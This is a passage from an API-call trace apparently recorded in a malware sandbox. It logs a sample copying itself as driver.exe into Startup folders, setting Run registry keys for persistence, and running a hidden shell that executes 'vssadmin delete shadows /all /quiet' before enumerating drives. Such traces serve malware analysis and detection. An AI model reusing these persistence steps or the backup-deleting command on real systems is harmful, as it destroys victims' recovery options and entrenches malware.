hHeap=0x880000) returned 1 [0178.475] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\driver.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0178.475] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\driver.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0178.799] ReadFile (in: hFile=0xe0, lpBuffer=0x2050020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2050020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0179.448] WriteFile (in: hFile=0xe4, lpBuffer=0x2050020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2050020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0179.458] ReadFile (in: hFile=0xe0, lpBuffer=0x2050020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2050020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0179.458] CloseHandle (hObject=0xe4) returned 1 [0179.459] CloseHandle (hObject=0xe0) returned 1 [0179.459] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0179.459] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d28, Size=0x20) returned 0x8b5b98 [0179.459] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0179.459] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d28, Size=0x20) returned 0x8b5be8 [0179.459] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0179.459] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0179.460] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0179.460] lstrlenW (lpString="kernel32.dll") returned 12 [0179.460] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5be8 | out: hHeap=0x880000) returned 1 [0179.460] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0179.460] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5b98 | out: hHeap=0x880000) returned 1 [0179.460] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x2050020 | out: hHeap=0x880000) returned 1 [0179.478] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0179.479] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d28, Size=0x20) returned 0x8b5b98 [0179.479] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5b98, Size=0x40) returned 0x8b6cf0 [0179.479] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6cf0, Size=0x80) returned 0x8faee0 [0179.479] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\driver.exe") returned 56 [0179.479] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0179.479] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x5c) returned 0x8b8150 [0179.479] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0179.480] RegSetValueExW (hKey=0xe0, lpValueName="driver.exe", Reserved=0x0, dwType=0x1, lpData=0x8baea8, cbData=0x70) returned 0x5 [0179.480] RegCloseKey (hKey=0xe0) returned 0x0 [0179.480] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b8150 | out: hHeap=0x880000) returned 1 [0179.481] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\driver.exe") returned 56 [0180.946] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0180.947] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x5c) returned 0x8b8150 [0180.947] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe4) returned 0x0 [0180.948] RegSetValueExW (in: hKey=0xe4, lpValueName="driver.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\driver.exe", cbData=0x70 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\driver.exe") returned 0x0 [0180.949] RegCloseKey (hKey=0xe4) returned 0x0 [0180.949] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b8150 | out: hHeap=0x880000) returned 1 [0180.950] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0180.950] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8faee0 | out: hHeap=0x880000) returned 1 [0180.950] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8daeb8 [0180.950] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8eaec0 [0180.950] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d58 [0180.950] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d58, Size=0x20) returned 0x8b5b98 [0180.950] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5b98, Size=0x40) returned 0x8b6cf0 [0180.950] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6cf0, Size=0x80) returned 0x8faee0 [0180.950] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8faee0, Size=0x100) returned 0x8b7e68 [0180.950] lstrlenW (lpString="") returned 0 [0180.950] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0180.950] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8c) returned 0x8b5540 [0180.951] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0180.951] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x8eaec0, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x8eaec0*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0180.951] RegCloseKey (hKey=0xe4) returned 0x0 [0180.951] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5540 | out: hHeap=0x880000) returned 1 [0180.951] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0180.951] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8c) returned 0x8b5540 [0180.952] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0180.952] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x8eaec0, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0180.952] RegCloseKey (hKey=0xe4) returned 0x0 [0180.952] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5540 | out: hHeap=0x880000) returned 1 [0180.952] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0180.953] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0180.953] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7e68 | out: hHeap=0x880000) returned 1 [0180.953] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe", lpDst=0x8daeb8, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe") returned 0x67 [0180.953] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8eaec0 | out: hHeap=0x880000) returned 1 [0180.953] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8daeb8 | out: hHeap=0x880000) returned 1 [0180.953] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x2050020 [0180.954] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d58 [0180.954] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d58, Size=0x20) returned 0x8b5b98 [0180.954] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d58 [0180.954] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d58, Size=0x20) returned 0x8b5be8 [0180.954] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0180.954] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0180.954] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0180.954] lstrlenW (lpString="kernel32.dll") returned 12 [0180.954] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5b98 | out: hHeap=0x880000) returned 1 [0180.954] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0180.955] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5be8 | out: hHeap=0x880000) returned 1 [0180.955] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\driver.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0180.955] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\driver.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.955] CloseHandle (hObject=0xe4) returned 1 [0180.956] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d58 [0180.956] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d58, Size=0x20) returned 0x8b5be8 [0180.956] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d58 [0180.956] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d58, Size=0x20) returned 0x8b5b98 [0180.956] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0180.956] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0180.956] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0180.957] lstrlenW (lpString="kernel32.dll") returned 12 [0180.957] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5b98 | out: hHeap=0x880000) returned 1 [0180.957] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0180.957] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5be8 | out: hHeap=0x880000) returned 1 [0180.957] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x2050020 | out: hHeap=0x880000) returned 1 [0180.957] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8daeb8 [0180.957] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8eaec0 [0180.957] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d58 [0180.957] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d58, Size=0x20) returned 0x8b5be8 [0180.957] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b5be8, Size=0x40) returned 0x8b6cf0 [0180.958] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6cf0, Size=0x80) returned 0x8faee0 [0180.958] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8faee0, Size=0x100) returned 0x8b7e68 [0180.958] lstrlenW (lpString="") returned 0 [0180.958] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0180.958] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8c) returned 0x8b5540 [0180.958] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0180.958] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x8eaec0, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0180.959] RegCloseKey (hKey=0xe4) returned 0x0 [0180.959] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5540 | out: hHeap=0x880000) returned 1 [0180.959] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0180.959] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0180.959] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7e68 | out: hHeap=0x880000) returned 1 [0180.959] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe", lpDst=0x8daeb8, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe") returned 0x48 [0180.959] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8eaec0 | out: hHeap=0x880000) returned 1 [0180.959] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8daeb8 | out: hHeap=0x880000) returned 1 [0180.959] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x2050020 [0180.960] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d58 [0180.960] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d58, Size=0x20) returned 0x8b5be8 [0180.960] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d58 [0180.960] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d58, Size=0x20) returned 0x8b5b98 [0180.960] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0180.960] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0180.961] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0180.961] lstrlenW (lpString="kernel32.dll") returned 12 [0180.961] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5be8 | out: hHeap=0x880000) returned 1 [0180.961] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0180.961] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5b98 | out: hHeap=0x880000) returned 1 [0180.961] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\driver.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0180.961] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\driver.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\driver.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0180.962] CloseHandle (hObject=0xe4) returned 1 [0180.962] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d58 [0180.963] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d58, Size=0x20) returned 0x8b5b98 [0180.963] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d58 [0180.963] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d58, Size=0x20) returned 0x8b5be8 [0180.963] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0180.963] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0180.963] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0180.963] lstrlenW (lpString="kernel32.dll") returned 12 [0180.964] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5be8 | out: hHeap=0x880000) returned 1 [0180.964] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0180.964] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5b98 | out: hHeap=0x880000) returned 1 [0180.964] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x2050020 | out: hHeap=0x880000) returned 1 [0180.964] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8baea8 | out: hHeap=0x880000) returned 1 [0180.964] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8caeb0 | out: hHeap=0x880000) returned 1 [0180.964] lstrlenW (lpString="%windir%\\System32") returned 17 [0180.964] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b6c60 | out: hHeap=0x880000) returned 1 [0180.964] lstrlenW (lpString="%appdata%") returned 9 [0180.964] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894660 | out: hHeap=0x880000) returned 1 [0180.964] lstrlenW (lpString="%sh(Startup)%") returned 13 [0180.965] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894638 | out: hHeap=0x880000) returned 1 [0180.965] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0180.965] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b6ca8 | out: hHeap=0x880000) returned 1 [0180.965] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d58 [0180.965] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d58, Size=0x20) returned 0x894638 [0180.965] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894638, Size=0x40) returned 0x8b6ca8 [0180.965] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6ca8, Size=0x80) returned 0x8faee0 [0180.965] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d58 [0180.965] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d58, Size=0x20) returned 0x894638 [0180.965] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1fffc) returned 0x8baea8 [0180.965] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8daeb0 [0180.965] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x8eaeb8 [0180.965] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d58 [0180.966] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d58, Size=0x20) returned 0x894660 [0180.966] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894660, Size=0x40) returned 0x8b6ca8 [0180.966] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6ca8, Size=0x80) returned 0x8faf68 [0180.966] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8faf68, Size=0x100) returned 0x8b7e68 [0180.966] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0180.966] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b7e68 | out: hHeap=0x880000) returned 1 [0180.966] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x8daeb0, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0180.966] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8eaeb8 | out: hHeap=0x880000) returned 1 [0180.966] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8daeb0 | out: hHeap=0x880000) returned 1 [0182.230] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0182.257] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0182.258] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0182.258] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0182.258] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x5d4, dwThreadId=0x5d8)) returned 1 [0188.182] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0188.182] WriteFile (in: hFile=0xec, lpBuffer=0x8faee0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x8faee0*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0188.183] CloseHandle (hObject=0xfc) returned 1 [0188.183] CloseHandle (hObject=0xf8) returned 1 [0188.183] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8baea8 | out: hHeap=0x880000) returned 1 [0188.183] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0188.183] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8faee0 | out: hHeap=0x880000) returned 1 [0188.183] lstrlenW (lpString="%comspec%") returned 9 [0188.184] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894638 | out: hHeap=0x880000) returned 1 [0188.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0188.187] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4d58 [0188.187] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x8b4d58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0188.193] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x8b7d88 [0188.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x8b7d88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0188.198] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d70 [0188.198] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d70, Size=0x20) returned 0x894638 [0188.198] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894638, Size=0x40) returned 0x8b6ca8 [0188.198] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0188.198] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xd0) returned 0x8b7ee0 [0188.198] GetLogicalDrives () returned 0x4 [0188.199] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10014) returned 0x8baea8 [0188.199] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d70 [0188.199] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d70, Size=0x20) returned 0x894638 [0188.199] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894638, Size=0x40) returned 0x8b6d38 [0188.199] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b6d38, Size=0x80) returned 0x8faee0 [0188.199] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8faee0, Size=0x100) returned 0x8b9a70 [0188.199] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9a70, Size=0x200) returned 0x8b9a70 [0188.199] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9a70, Size=0x400) returned 0x8b9458 [0188.200] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b9458, Size=0x800) returned 0x8fcec8 [0188.200] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8fcec8, Size=0x1000) returned 0x8fcec8 [0188.200] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x8caec8 [0188.200] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d70 [0188.200] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4e48 [0188.200] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x8b55b0 [0188.200] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4e60 [0188.201] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x8b55c0 [0188.201] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4e78 [0188.201] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b55c0, 